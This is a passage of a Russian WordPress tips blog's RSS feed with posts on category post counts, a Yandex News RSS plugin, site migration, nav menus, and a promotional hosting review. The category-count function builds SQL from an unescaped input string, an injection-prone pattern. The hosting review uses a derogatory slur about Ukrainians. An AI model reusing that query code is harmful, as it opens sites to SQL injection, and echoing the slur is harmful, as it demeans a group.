		<pubDate>Wed, 16 Mar 2011 19:08:09 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1305</guid>
		<description><![CDATA[полезная функция для получения количества постов в категории function wt_get_category_count($input = '') { global $wpdb; if($input == '') { $category = get_the_category(); return $category[0]->category_count; } elseif(is_numeric($input)) { $request = "SELECT $wpdb->term_taxonomy.count FROM $wpdb->terms, $wpdb->term_taxonomy WHERE $wpdb->terms.term_id=$wpdb->term_taxonomy.term_id AND $wpdb->term_taxonomy.term_id=$input"; return $wpdb->get_var($request); } else { $request = "SELECT $wpdb->term_taxonomy.count FROM $wpdb->terms, $wpdb->term_taxonomy WHERE $wpdb->terms.term_id=$wpdb->term_taxonomy.term_id AND $wpdb->terms.slug='$input'"; return [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/03/wp-tips1-300x165.jpg" alt="Количество  постов в категории WordPress" title="Количество  постов в категории WordPress" width="300" height="165" class="aligncenter size-medium wp-image-1306" /><br />
полезная функция для получения количества постов в категории<br />
<span id="more-1305"></span></p>
<pre>

function wt_get_category_count($input = '') {
global $wpdb;
if($input == '')
{
$category = get_the_category();
return $category[0]->category_count;
}
elseif(is_numeric($input))
{
$request = "SELECT $wpdb->term_taxonomy.count FROM $wpdb->terms, $wpdb->term_taxonomy WHERE $wpdb->terms.term_id=$wpdb->term_taxonomy.term_id AND $wpdb->term_taxonomy.term_id=$input";
return $wpdb->get_var($request);
}
else
{
$request = "SELECT $wpdb->term_taxonomy.count FROM $wpdb->terms, $wpdb->term_taxonomy WHERE $wpdb->terms.term_id=$wpdb->term_taxonomy.term_id AND $wpdb->terms.slug='$input'";
return $wpdb->get_var($request);
}
}

<!-- в текущей категории -->
<?php echo wt_get_category_count(); ?>
<!-- Gв категории с id  1 -->
<?php echo wt_get_category_count(1); ?>
<!-- в категории с url именем -->
<?php echo wt_get_category_count('hello-world'); ?>
</pre>
<p>И небольшой бонус, как сделать вывод в разных  категориях разного количества постов на страницу</p>
<p>пишем в functions.php небольшое правило</p>
<pre>
add_action('pre_get_posts', 'diff_post_count_per_cat');

function diff_post_count_per_cat() {
    if (is_admin()) return;

    $cat = get_query_var('category_name');
    switch ($cat) {
        case 'wordpress':
            set_query_var('posts_per_page', 5);
            break;
        case 'wordpress/news':
            set_query_var('posts_per_page', 2);
            break;
    }
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/03/16/wordpress-kolichestvo-postov-v-kategorii/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WordPress Plugin rss2.0 для  news.yandex.ru</title>
		<link>http://saintist.ru/2011/02/14/wordpress-plugin-rss2-0-dlya-news-yandex-ru/</link>
		<comments>http://saintist.ru/2011/02/14/wordpress-plugin-rss2-0-dlya-news-yandex-ru/#comments</comments>
		<pubDate>Mon, 14 Feb 2011 10:47:39 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[мои wordpress plugins]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1282</guid>
		<description><![CDATA[Получил заказ на разработку плагина для отдачи rss заданных рубрик сервису news.yandex.ru, с согласия заказчика выкладываю его для всеобщего пользования. Для установки достаточно скопировать в папку с плагинами или воспользоваться страницей установки плагинов и активировать. После инсталяции в админке появится новая вкладка на странице которой можно выбрать те рубрики которые необходимо отдавать в формате rss [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/02/wordpress-news-yandex-ru-rss20-300x141.jpg" alt="wordpress-news-yandex-ru-rss20" title="wordpress-news-yandex-ru-rss20" width="300" height="141" class="aligncenter size-medium wp-image-1284" /><br />
Получил заказ на разработку плагина  для  отдачи rss заданных  рубрик сервису news.yandex.ru, с согласия  заказчика выкладываю его для    всеобщего пользования.<br />
<span id="more-1282"></span><br />
Для установки достаточно  скопировать в папку с плагинами или  воспользоваться  страницей установки плагинов и активировать.<br />
После инсталяции  в админке появится новая вкладка  на странице которой можно  выбрать те рубрики  которые необходимо отдавать  в формате rss соответствующем  требованиям news.yandex.ru , там же есть сыылки на  rss feed  рубрик. Плагин заменяет  у указанной рубрики шаблон фида своим шаблоном вывода rss под требования yandex.</p>
<p>Прошу  комментировать  всех  заинтересованных, по мере возможностей и  наличия свободного  времени буду вносить правки, править баги и дополнять функционал.</p>
<p>совместим с версией WordPress 3.0 и выше, более раннние версии  не тестировал на совместимость. </p>
<p>Скачать последнюю версию  <a href='http://saintist.ru/wp-content/uploads/2011/02/wp-yandex-rss_-0.1.3.4.zip'>плагина WordPress Plugin rss2.0 для  news.yandex.ru (v 0.1.3.4.)</a>.</p>
<p>Скачать последнюю версию  <a href='http://saintist.ru/wp-content/uploads/2011/02/wp-yandex-rss_-0.1.3.5.zip'>плагина WordPress Plugin rss2.0 для  news.yandex.ru (v 0.1.3.5.)</a>.</p>
<p><strong>update[29 июня 2011 {версия: 0.1.3.4} ]:</strong><br />
1. Заголовки записей в rss теперь пишутся  буквами в нижнем регистре, заглавная  в верхнем<br />
2. Поправил немного обработку спецсимволов в связи с одним  рапортом о баге от пользователя</p>
<pre>
В Ваших экспортных файлах некорректно заменены служебные символы.
  Напомню, встречающиеся в тексте символы < > &#038; ' " необходимо заменять
на соответствующие элементы:
&#038; на & amp;
< на & lt;
> на & gt;
' на & apos;
" на & quot;
(здесь точка с запятой - это не разделитель данного списка, а
обязательная часть элемента!)
Замены должны производиться во всех элементах < item > и < channel > - в
< yandex:full-text >, < link >, < title >, < enclosure > и др.
То есть, символы & laquo; & raquo; нужно приводить к виду: & amp;laquo;
& amp;raquo;
Замечу, что символ кавычек верно заменен на & quot;
</pre>
<p><a  target="blank"  href="http://saintist.ru/wp-content/uploads/2011/02/rss-yandex-news.png"><img src="http://saintist.ru/wp-content/uploads/2011/02/rss-yandex-news-300x140.png" alt="" title="wordpress rss news yandex ru плагин " width="300" height="140" class="aligncenter size-medium wp-image-1411" /></a><br />
<strong>update[4 июля 2011 {версия: 0.1.3.5} ]:</strong> </p>
<p>1. Заголовки  записей в фиде  не более  200 символов, слова обрезаются адекватно</p>
<p><strong>update[19 июля 2011 {версия: 0.1.4} ]:</strong> </p>
<p>1. Добавил  вставку картинок опубликованных в посте в rss через enclosure согласно рекомендациям news.yandex.ru</p>
<p>Скачать последнюю версию  <a href='http://saintist.ru/wp-content/uploads/2011/07/wp-yandex-rss_-0.1.4.zip'>плагина WordPress Plugin rss2.0 для  news.yandex.ru (v 0.1.4)</a>.</p>
<h1> Внимание </h1>
<p>поддержка текущего плагина не будет продолжаться, в связи с разработкой нового, концептуально отличающегося от текущего )) скачать  можно вот здесь <a href="http://saintist.ru/2011/07/20/news-yandex-ru-wordpress-rss2-0/" title="news.yandex.ru wordpress rss2.0 плагин">news.yandex.ru wordpress rss2.0 плагин</a></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/02/14/wordpress-plugin-rss2-0-dlya-news-yandex-ru/feed/</wfw:commentRss>
		<slash:comments>68</slash:comments>
		</item>
		<item>
		<title>WordPress -Удалить тег p</title>
		<link>http://saintist.ru/2011/02/01/wordpress-udalit-teg-p/</link>
		<comments>http://saintist.ru/2011/02/01/wordpress-udalit-teg-p/#comments</comments>
		<pubDate>Tue, 01 Feb 2011 16:12:27 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1275</guid>
		<description><![CDATA[При добавлении постов по умолчанию WordPress форматирует введенный текст, заключая абзацы в тег p. Это не всегда удобно. Отключать подобное автоформатирование текста в wordpress можно добавив в файл functions.php темы строчку кода remove_filter (&#8216;the_content&#8217;, &#8216;wpautop&#8217;); если необхожимо выключить автоформатирование только на определенных страницах то в шаблоне страницы перед выводом контента the_content(); необходимо добавить remove_filter (&#8216;the_content&#8217;, [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/02/p_104_lg1-231x300.gif" alt="отключить форматирование в wordpress" title="отключить форматирование в wordpress" width="231" height="300" class="aligncenter size-medium wp-image-1276" /></p>
<p>При добавлении постов  по  умолчанию WordPress форматирует  введенный текст, заключая  абзацы в тег  <strong>p</strong>.</p>
<p>Это не всегда удобно.<br />
<span id="more-1275"></span><br />
Отключать подобное автоформатирование  текста в wordpress  можно  добавив  в файл functions.php  темы </p>
<p>строчку кода</p>
<p><strong>remove_filter (&#8216;the_content&#8217;,  &#8216;wpautop&#8217;);</strong></p>
<p>если необхожимо выключить  автоформатирование  только на  определенных страницах то  в шаблоне страницы  перед выводом  контента</p>
<p><strong>the_content();</strong></p>
<p>необходимо добавить </p>
<p><strong>remove_filter (&#8216;the_content&#8217;,  &#8216;wpautop&#8217;);</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/02/01/wordpress-udalit-teg-p/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Перенос wordpress сайта на другой хостинг</title>
		<link>http://saintist.ru/2011/01/27/perenos-wordpress-sajta-na-drugoj-xosting/</link>
		<comments>http://saintist.ru/2011/01/27/perenos-wordpress-sajta-na-drugoj-xosting/#comments</comments>
		<pubDate>Thu, 27 Jan 2011 10:26:38 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1271</guid>
		<description><![CDATA[Довольно часто случается ситуация когда необходимо перенести сайт на wordpress на другой хостинг, например когда делаеш сайт на заказ у себя на хосте и его нужно залить на хост клиенту. Или же нашел новый более качественный хостинг для своих сайтов . Опишу весь процесс, как перенести wordpress сайт на другой хостинг. 1. Делаем дамп базы [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/01/trezviegruzchiki1-300x225.jpg" alt="перенос  wordpress на новый хостинг, сервер" title="перенос  wordpress на новый хостинг, сервер" width="300" height="225" class="aligncenter size-medium wp-image-1272" /></p>
<p>Довольно часто   случается ситуация когда необходимо перенести сайт на wordpress на другой хостинг, например  когда  делаеш сайт на заказ у себя на хосте  и его нужно залить на хост клиенту. Или же нашел  новый более  <a target="blank" href="http://timeweb.ru"><strong>качественный хостинг для своих сайтов</strong></a> .</p>
<p>Опишу  весь процесс, как  перенести  wordpress  сайт на другой хостинг.<br />
<span id="more-1271"></span></p>
<p>1. Делаем дамп  базы данных. Для этого отлично подойдет скрипт Sypex Dumper тем более если БД  весит много, но можно  воспрользоваться и phpMyAdmin. Sypex Dumper простой в настройке и я не буду на этом останавливаться. Также можно использовать спец плагины . например  <strong>WP-DB-Backup</strong>, но  бывают проблемы с кирилицей.</p>
<p>2. Скачиваем со старого хостинга все  файлы из папаки с ссайтом. Обратить внимание чтобы обязательно  были <strong>.htaccess</strong> и  <strong>wp-config.php</strong>.</p>
<p>3. Заливаем базу и  файлы на новый хостинг. Создаем  новуб базу и туда спомощью Sypex Dumper и заливаем бекап со старого  хоста. Важно: если url по которому будет доступен сайт меняется при переносе то перед заливкой дампа БД на  новый хостинг открываем егов текстовом редакторе и меняем заменой все  встречающиеся   url указывающие на старый  сайт на новые</p>
<p>например:</p>
<p>был сайт на </p>
<p><strong>http://vasya.ru</strong></p>
<p>а перенесли на <strong>http://vasiliy.ru/blog</strong></p>
<p>нужно  будет заменить все  <strong>vasya.ru</strong> на  <strong>vasiliy.ru/blog</strong></p>
<p>Но это  подходит если дамп  базы данных небольшой, как заменить  одно  значение на  другое в базе данных если  она  большого размера  напишу ниже.</p>
<p>4. Открываем на новом хостинге файл wp-config.php, меняем параметры  подключения к БД указывая те что  используются на новом хостинге.<br />
Иакже  нужно прописать для нового  хоста url  сайта  если  он  при переносе изменится.</p>
<p>Делается это так. </p>
<p>Нужно добавить две строчки  в wp-config.php.</p>
<p><strong>define (&#8216;WP_SITEURL&#8217;, &#8216;http://адрес вашего сайта&#8217;);<br />
define (&#8216;WP_HOME&#8217;, &#8216;http://адрес вашего сайта&#8217;);</strong></p>
<p>сохраняем изменения в wp-config.php.</p>
<p>5. Заходим в админку  вашего  сайта на новом хостинге.</p>
<p>6. Если изменился  url  сайта , например  делали сайт на одном хостинге а после переноста  на новом хостинге  он будет доступен  по  другому  url. Если не  поменяли  старые url на новые как указано в 3 пункте то,устанавливаем  плагин Search Regex, и с помощью него меняем  старые  урл на новые в таблице постов wp_posts.</p>
<p>7. Бывают случаи когда плагин Search Regex не работает на  новом хостинге. Тогда через phpMyAdmin делаем замену данных используя запрос</p>
<p><strong>UPDATE wp_posts SET post_content = REPLACE(post_content, &#8216;что найти&#8217;, &#8216;чем заменить&#8217;)</strong></p>
<p>Вот и все.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/01/27/perenos-wordpress-sajta-na-drugoj-xosting/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>wp_nav_menu полная кастомизация через  страницу администратора</title>
		<link>http://saintist.ru/2011/01/26/wp_nav_menu-polnaya-kastomizaciya-cherez-stranicu-administratora/</link>
		<comments>http://saintist.ru/2011/01/26/wp_nav_menu-polnaya-kastomizaciya-cherez-stranicu-administratora/#comments</comments>
		<pubDate>Wed, 26 Jan 2011 11:00:11 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1260</guid>
		<description><![CDATA[Как я уже писал в статье о wp_nav_menu для wordpress начная с третьев версии появилась поддержка навигационного меню с возможностью редактирования из админстраницы. При интернгации подобных меню в темы wordpress сталкиваешся с радом проблем, например адаптации html кода меню генерируемого wordpress в верстку с максимальной кастомизацией. С настройками по умолчанию wp_nav_menu генерирует html код содержащий [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/01/css3menu1.png" alt="css wp_nav_menu" title="css wp_nav_menu" width="550" height="337" class="aligncenter size-full wp-image-1267" /></p>
<p>Как я уже  писал  в статье о  <a href="http://saintist.ru/2010/12/22/wordpress-wp_nav_menu-delaem-svoe-kastomnoe-menyu/">wp_nav_menu для  wordpress</a> начная с третьев версии  появилась поддержка навигационного меню с возможностью редактирования из  админстраницы. </p>
<p>При интернгации подобных  меню в  темы wordpress сталкиваешся с радом проблем, например адаптации html  кода  меню генерируемого  wordpress в верстку с максимальной кастомизацией.<br />
С настройками по умолчанию wp_nav_menu  генерирует  html  код содержащий  только  теги с  атрибутами несущие  чисто  техническую информацию. И максимум что  можно задать это id и класс у  контейнера и  самого  меню.</p>
<p>Конечно  можно написать функции сипользующие хуки и перед  выводом кода меню  модифицировать его, но это не самый легкий вариант, тем более что  в вордпресс  предусмотрен механизм  облегчающий задачу кстомизации  css  меню  сгенерированного  через wp_nav_menu .<br />
<span id="more-1260"></span></p>
<p>Что нужно  сделать?</p>
<p>1. Подключили   поддержку меню в  funtions.php</p>
<p>2. В админке сверху  справа есть вкладка<br />
<img src="http://saintist.ru/wp-content/uploads/2011/01/wp_nav_menu-screen-options.png" alt="wp_nav_menu в вордпресс" title="wp_nav_menu в вордпресс" width="673" height="186" class="aligncenter size-full wp-image-1261" /></p>
<p>жмем ее в появившемся диалоге  зачекиваем   поддержку  css  в разделе <strong>Показывать расширенные свойства меню</strong></p>
<p><img src="http://saintist.ru/wp-content/uploads/2011/01/wp_nav_menu-screen-options-css-300x87.png" alt="wp_nav_menu кастомный css " title="wp_nav_menu кастомный css " width="300" height="87" class="aligncenter size-medium wp-image-1262" /></p>
<p>3. Идем в раздел редактирования меню, выдираем у нашего меню  пункт и редактируем его, теперь там появились дополнительные свойства.<br />
<img src="http://saintist.ru/wp-content/uploads/2011/01/wp_nav_menu-screen-options-css-setup.png" alt="wp_nav_menu назначить свои стили" title="wp_nav_menu назначить свои стили" width="459" height="513" class="aligncenter size-full wp-image-1263" /></p>
<p>Как видите все  просто.</p>
<p>Таким способом можно назначить не только  css стили нои  цель для ссылок в меню и т.п.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/01/26/wp_nav_menu-polnaya-kastomizaciya-cherez-stranicu-administratora/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>хостинг php mysql &#8212; timeweb.ru &#8212; больше чем хостинг</title>
		<link>http://saintist.ru/2010/12/31/xosting-php-mysql-timeweb-ru-bolshe-chem-xosting/</link>
		<comments>http://saintist.ru/2010/12/31/xosting-php-mysql-timeweb-ru-bolshe-chem-xosting/#comments</comments>
		<pubDate>Thu, 30 Dec 2010 23:41:00 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1181</guid>
		<description><![CDATA[Рано или поздно вставет вопрос надежного качественного хостинга для своего сайта(сайтов). Этот же вопрос встал однажды передо мной. Почитав отзывы о компаниях предоставляющих услуги хостинга в России(вообщето я смотрел не только по России а по всему СНГ) и сравних предлогаемые ими мощности я остановил свой выбор на компании http://timeweb.ru. Выбор сделал даже не я сам [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru_.jpg" alt="timeweb.ru - хостинг  php mysql" title="timeweb.ru - хостинг  php mysql" width="273" height="273" class="aligncenter size-full wp-image-1182" /></p>
<p>Рано или поздно  вставет вопрос  надежного качественного хостинга для своего сайта(сайтов). Этот же вопрос встал  однажды передо  мной. Почитав отзывы о компаниях предоставляющих  услуги хостинга в России(вообщето я смотрел не только по России а по всему СНГ) и сравних предлогаемые ими мощности я остановил свой выбор на  компании <a href="http://timeweb.ru">http://timeweb.ru</a>. Выбор  сделал даже не я сам , мне ее посоветовал знакомый.<br />
Впоследствии  выполняя заказы (я собираю сайты на WordPress) для разных заказчиков которые  размещали у хостеров я получил возможность сравнить то что у них и то чем пользуюсь я.<br />
И желания уходить от timeweb у меня нет ))<br />
Итак начнем по порядку.<br />
<span id="more-1181"></span></p>
<p><strong>Что нас ждет?</strong></p>
<p>Каждому зарегистрировавшемуся дается триал период  пользования хостингом в  течении 10 дней. Т.е.  вы не платите деньги, но имеете  возможность пользоваться  хостингом в течении 10 дней, Вам дадут домен  *.tmweb.ru  где * это   имя вашей учетной записи, так что  если вы рассчитываете  использовать гдето этот домен в своих проектах то  стоит выбирать его  (имя аккаунта)  повнимательнее , например  google.tmweb.ru ))</p>
<p><strong>Тарифы хостинга:</strong></p>
<p>в данный момент предлогают несколько <a target="_blank" href="http://timeweb.ru/services/hosting/">тарифных пакетов</a></p>
<p><a href="http://saintist.ru/wp-content/uploads/2010/12/timeweb-tarif.jpg"><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb-tarif-300x113.jpg" alt="timeweb тарифные планы" title="timeweb тарифные планы" width="300" height="113" class="aligncenter size-medium wp-image-1184" /></a></p>
<p>каждый тариф накладывает свои ограничения но и имеет ряд преимуществ</p>
<p>в основном это выражено в количестве сайтов которые можно  завести на тарифе и в дисковом пространстве. Основной критерий всеже дисковое пространство  выделенное аккаунту.</p>
<p>В процессе пользования услугами можно  переключать тарифные планы как в сторону удорожания так и  удешевления.</p>
<p>также есть  разрешенные нагрузки на сервер  аккаунтом </p>
<p>вот например  того как гружу я   сервер  двадцаткой  своих сайтов на WordPress (стоит плагин  кеширования)</p>
<p><a href="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-hight.jpg"><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-hight-300x234.jpg" alt="timeweb.ru нагрузки" title="timeweb.ru нагрузки" width="300" height="234" class="aligncenter size-medium wp-image-1185" /></a></p>
<p>на мой взгляд оптимальным  будет <strong>Century </strong> в основном из-за того что  баз можно  создавать  столько сколько позволяет дисковое пространство. И в процессе разработки  проекта  не  встанет вопрос  завести новую базу для разработки. </p>
<p><strong>Удобства пользования</strong><br />
У большинства хостеров  предоставляется  по  умолчанию CPanel  а часть использует еще какое-нибуть убогое гавно )), в частности этим славятся  хостеры их Хохланда (Украины). В случае с  timeweb все действия по управлению своей хост площадкой будет осуществляться через  самописную  панель управления timeweb. И это таки ПАНЕЛЬ УПРАВЛЕНИЯ. Именно так большими буквами.</p>
<p><a href="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-console.jpg"><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-console-300x216.jpg" alt="timeweb.ru панель управления" title="timeweb.ru панель управления" width="300" height="216" class="aligncenter size-medium wp-image-1187" /></a></p>
<p>Редко встретишь  инструмент настолько  простой и удобный.</p>
<p>Она позволяет осуществлять все необходимые операции  буквально в  два клика.<br />
Сюда входит:</p>
<p><strong>Почтовый менеджер</strong><br />
<a href="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-webmail.jpg"><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-webmail-300x202.jpg" alt="timeweb.ru почтовый менеджер" title="timeweb.ru почтовый менеджер" width="300" height="202" class="aligncenter size-medium wp-image-1186" /></a></p>
<p><strong>Вебмейл</strong></p>
<p><strong>Управление доменами</strong><br />
Можно зарегистрировать/перенести.проблить домен<br />
<a href="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-domain.jpg"><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-domain-290x300.jpg" alt="timeweb.ru управление доменами" title="timeweb.ru управление доменами" width="290" height="300" class="aligncenter size-medium wp-image-1188" /></a></p>
<p><strong>Управление поддоменами</strong></p>
<p><strong>Управление сайтами</strong><br />
Прикрепить кдомену сайт, создать сайт удалить сайт и т.п. Создать сайт мультидомен и т.п.</p>
<p><strong>Конструкторы сайтов</strong><br />
Можно  установить готовую из предложенных  CMS для  выбранного домена и т.п. Список  CMS  включает ак коммерческие так и бесплатные, и постоянно пополняется.<br />
<a href="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-siteconstrucktor.jpg"><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-siteconstrucktor-300x239.jpg" alt="timeweb.ru конструктор сайтов" title="timeweb.ru конструктор сайтов" width="300" height="239" class="aligncenter size-medium wp-image-1189" /></a></p>
<p><strong>FTP аккаунты</strong></p>
<p><strong>Файловый менеджер</strong><br />
Посредством вебинтерфейса  манипулировать файлами  на сервере.</p>
<p><strong>Базы данных MySQL</strong><br />
<strong>Управление логами</strong><br />
<strong>Панель Crontab</strong><br />
<strong>Настройки DNS</strong><br />
<strong>Управление BACKU</strong></p>
<p><strong>Оплата услуг</strong></p>
<p>YandexMoney, WebMoneyб банковские переводы, банковские карты  и т.п.<br />
<a href="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-pay.jpg"><img src="http://saintist.ru/wp-content/uploads/2010/12/timeweb.ru-pay-300x211.jpg" alt="timeweb.ru оплата услуг" title="timeweb.ru оплата услуг" width="300" height="211" class="aligncenter size-medium wp-image-1190" /></a></p>
<p><strong>Движения по счёту</strong></p>
<p><strong>SMS информирование</strong></p>
<p><strong>Обратная связь</strong></p>
<p>и многое другое )</p>
<p>Все сделано просто и функционально, без излишеств.</p>
<p>Расписывать все подробно не буду, все можно посмотреть  просто зарегисрировавшись и воспрользовавшись тестовым периодом.</p>
<p><strong>Саппорт</strong></p>
<p>Техподдержка у timeweb очень шустрая, приятно с ними работать, довольно оперативно отвечают на вопросы, помогают , вежливы и тактичны в общении.</p>
<p><strong>Из минусов</strong> вроде бы  как можно сказать что  оплата, но  по сравнению с остальными хостингами,  с учетом качества и надежности ничего похожего я ненашел, прям оазис какойто. </p>
<p>Также  одно время приходилось мне следить за  тем сколько  мощностей сервера кушает аккаунт, сайты на Wp а он  прожорлив, но включенное кеширование решает  проблемму.</p>
<p>Посмотреть цены timeweb на  регистрацию доменов можно  вот тут <a target="_blank"  href="http://www.timeweb.ru/services/domain_registration/">www.timeweb.ru/services/domain_registration/</a> не скажу что они сильно  отличаются от остальных хостеров. Цены как цены.</p>
<p>Как и везде есть <a target="_blank" href="http://www.timeweb.ru/services/bonuses/">система бонусов</a> и  партнерка для вебмастеров и т.п.</p>
<p>ps: С Новым годом всех ))<br />
pss: если есть где грамматические ошибки то уж  извините,  писал поздно  спать хотелось, устал очень.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/12/31/xosting-php-mysql-timeweb-ru-bolshe-chem-xosting/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress wp_nav_menu делаем свое кастомное меню</title>
		<link>http://saintist.ru/2010/12/22/wordpress-wp_nav_menu-delaem-svoe-kastomnoe-menyu/</link>
		<comments>http://saintist.ru/2010/12/22/wordpress-wp_nav_menu-delaem-svoe-kastomnoe-menyu/#comments</comments>
		<pubDate>Wed, 22 Dec 2010 17:15:54 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Юзабилити]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1169</guid>
		<description><![CDATA[В wordpress 3 появилась такая фишка как навигационно меню, многие скажут что оно им ненужно да и вообще wp_list_categories вполне себя оправдывает и большего ненужно. Но wp_list_categories по сути это список категорий постов и даже если после него вывести список страниц, то врядли это потянет на полноценное меню. Да можно воспользоваться плагинами но зачем велосипед [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1175" title="wp_nav_menu  как добавить" src="http://saintist.ru/wp-content/uploads/2010/12/wordpress-logo1-300x233.jpg" alt="wp_nav_menu  как добавить" width="300" height="233" /></p>
<p>В wordpress 3 появилась такая фишка как навигационно меню, многие скажут что оно им ненужно да и вообще wp_list_categories вполне себя оправдывает и большего ненужно. Но wp_list_categories по сути это список категорий постов и даже если после него вывести список страниц, то врядли это потянет на полноценное меню. Да можно воспользоваться плагинами но зачем велосипед изобретать когда теперь все нужное в самом WordPress. Большой плюс то что архитекруту меню можно редактировать в админке, и меню можно собирать как из категорий так и из статик страниц .Итак.<br />
<span id="more-1169"></span></p>
<p>Для того чтобы активировать wp_nav_menu в теме , необходимо в файле functions.php темы добавить строчку</p>
<pre>add_theme_support( 'menus' );</pre>
<p>таким образом добавляется поддержка в теме навигационного меню</p>
<p>в админке появится пункт вашсайт/wp-admin/nav-menus.php</p>
<p><img class="aligncenter size-medium wp-image-1170" title=" wp_nav_menu Wodpress" src="http://saintist.ru/wp-content/uploads/2010/12/wp-nav-300x178.png" alt="" width="300" height="178" /></p>
<p>зайдя в который можно в визуальном редакторе собрать навигационное меню нужной конфигурации из рубрик постов, и статик страниц.</p>
<p>Также нужно зарегистрировать области вывода меню</p>
<p>делается это так</p>
<pre>register_nav_menus(
array(
'main' =&gt; 'Главное меню'
)
);</pre>
<p>в примере мы зарегистрировали область вывода <strong>main</strong> при создании меню в админке в блоке <strong>области темы</strong> появится выпадающий список с названием Главное меню выбрав в котором нужное меню можно настроить где и что выводить.<br />
<a href="http://saintist.ru/wp-content/uploads/2010/12/wp_nav_menu_area.png"><img class="aligncenter size-medium wp-image-1171" title="wp_nav_menu области темы" src="http://saintist.ru/wp-content/uploads/2010/12/wp_nav_menu_area-300x159.png" alt="wp_nav_menu области темы" width="300" height="159" /></a></p>
<p>для вывода в шаблоне нужного меню нужно добавить в выбранном месте строчку кода</p>
<p><strong>wp_nav_menu( array(&#8216;theme_location&#8217;=&gt;&#8217;main&#8217;, &#8216;container_id&#8217; =&gt; &#8216;sidebar&#8217;,'fallback_cb&#8217; =&gt; &#187; ) );</strong></p>
<p>&#8216;theme_location&#8217;=&gt;&#8217;main&#8217; определяет какую область для меню выводить</p>
<p>можно зарегистрировать несколько областей темы для вывода меню</p>
<pre>register_nav_menus(
array(
'main' =&gt; 'Главное меню',
'footermain' =&gt; 'Нижнее меню'
)
);</pre>
<p>ps: как добавить ссылку на главную страницу</p>
<p>можно воспользоваться блоком произвольная ссылка из редактора навигационного меню</p>
<p><img class="aligncenter size-medium wp-image-1172" title="wp_nav_menu home_link ссылка на главную страницу" src="http://saintist.ru/wp-content/uploads/2010/12/wp_nav_menu_home_link-300x173.png" alt="wp_nav_menu home_link ссылка на главную страницу" width="300" height="173" /></p>
<p>или же воспрользовавшись хуком который нужно добавить в functions.php темы</p>
<pre>
function addNavMenuThemeLinks($menuItems, $args)
{
if('main' == $args->theme_location)
{
if ( is_home() )
{
$class = 'class="current_page_item"';
}
else
{
$class = '';
}
$homeMenuItem = '< li '.$class.' >'.$args->before.'< a href = " ' . get_bloginfo('url').'" title="Главная">'.$args->link_before.'Главная' .$args->link_after.'< /a >'.$args->after.'';
$menuItems = $homeMenuItem .$menuItems;
}
return $menuItems;
}
add_filter( 'wp_nav_menu_items', 'addNavMenuThemeLinks', 10, 2 );
</pre>
<p>pps: также через хук можно добавить в wp_nav_menu форму поиска, для этого нужно немножко модифицировать код</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2010/12/22/wordpress-wp_nav_menu-delaem-svoe-kastomnoe-menyu/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Валидация email в WordPress</title>
		<link>http://saintist.ru/2010/11/27/validaciya-email-v-wordpress/</link>
		<comments>http://saintist.ru/2010/11/27/validaciya-email-v-wordpress/#comments</comments>
		<pubDate>Sat, 27 Nov 2010 09:44:20 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1161</guid>
